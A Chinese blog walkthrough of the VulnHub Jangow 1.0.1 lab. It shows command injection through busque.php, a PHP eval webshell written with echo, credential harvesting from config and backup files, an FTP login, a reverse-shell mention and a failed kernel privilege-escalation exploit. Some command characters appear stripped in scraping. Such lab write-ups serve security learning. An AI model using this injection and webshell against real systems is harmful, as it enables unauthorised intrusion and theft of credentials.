Jangow: 1.0.1靶机
超详细jangow-01-1.0.1靶机复现过程_jangow靶机-CSDN博客攻略Jangow: 1.0.1 ~ VulnHub下载地址1.ova 但是vmware不兼容要改配置接下来 删除recovery nomodeset并在末尾添加quiet splash rw init/bin/bashshift? wq!忙活了半天算了知道ip就好了2.端口扫描访问192.168.2.148:80(80端口就是默认端口,访问时可以不加这个端口,也可以加),我们发现了index of / :说明这是一个目录索引,我们挨个点进去看看能不能发现点有用的东西.点击site/出现首页.点点看,试着查看下网页源代码(因为很多东西从源代码是能看出来的),好像并没有什么发现.3.扫描目录可以发现有这些扫出来的地址都可以访问试试,最后我们进入到http://192.168.2.148/site/index.html目录下.也就是我们前面访问的80端口进去,点那个/site出现的页面.我们把能点的地方都点点,最后我们点到Buscar时发现:4.拿shellhttp://192.168.2.148/site/busque.php?buscar这个页面虽然是空白页面,但是上方的urL地址栏里有?buscar 这不是意味着我们可以传参数了?所以,我们试试传点参数,看看页面有没有回显或者变化.我们传个id进去试试,卧槽,把咱们传的id带进来了,说明这里没有对我们传入的参数进行限制,那我们不得传点有意思的东西进去,比如说,一句话木马(嘿嘿)..http://192.168.10.104/site/busque.php?buscarecho ?php eval($_POST[1]);? shell.php我们成功用蚁剑进行了连接,赶快进去看看有啥好东西没?(直接在它电脑里游泳爽)!!!这里看到了我们传进来的shell.php,嗯不错,再看看有没有账号密码什么的,因为前面目录扫描的时候.扫到了wordpress(网站管理工具)找到后台说不定能登录进去呢.dirb又扫描了一遍好,账号密码有了,我们再去好好看看前面的目录扫描,发现并没有找到它的后台登录界面.(oh fuck!!!)我们进到wordpress目录下的/config.php文件,看到了敏感信息.接着我们又在html/.backup目录下发现了敏感信息.整理一下我们的上面过程的信息收集,从最开始的端口扫描,我们扫出来了21端口,80端口,再到目录扫描,我们扫到了一些目录,比如wordpress目录,js目录,assets目录,如下图这些目录,还有两套密码,一套是wordpress的,但是我们找不到后台,还有一套密码,不知道是干啥的,我们试一下21端口,用那套密码连接一下.这里我们在kali上用我们得到的的用户名jangow01 密码:abygurl69去登录ftp,发现登录成功.4.反弹shell讲一下这里的bash -c 我们在蚁剑打开靶机终端的时候不是标准的shell环境bash命令是运行不了的所以要加上bash -c,其是以命令处理语句。bash -c 里面的命令新开一个干净的 bash专门执行引号里的完整命令。这个靶机只能用443 正常来说不止是但是权限不够要提升权限5.提权当前为www-data权限所以需要提权查看内核版本和发行版本。uname -a 显示的是Linux 内核版本 系统架构lsb_release -a 发行版本通过上一步可知内核版本为4.4.0-31发行版本为Ubuntu16.04利用searchsploit工具搜索一下搜索内核版本和发行版本都可以发行版本多一些。本文选用内核版本的第一个45010.c(具体选哪个,我们得看文件介绍,比如我们这里要提权,就看包的后面介绍,比如 local Privilege Escalation就是本地提升权限的意思,如下图) 将45010.c下载到本地.我试了试wget靶机获取不到 然后把文件从kali里拖到宿主机,再从宿主机拉到蚁剑的目录下在蚁剑的靶机终端操作如下图:lschmod x exp1ls -al./exp1你的脚本exp1是在 Kali 上编译的它依赖GLIBC 2.34这个版本的系统库靶机jangow01上的系统库版本太旧没有GLIBC 2.34所以脚本跑不起来思路是这个 但是已经算是打完嘞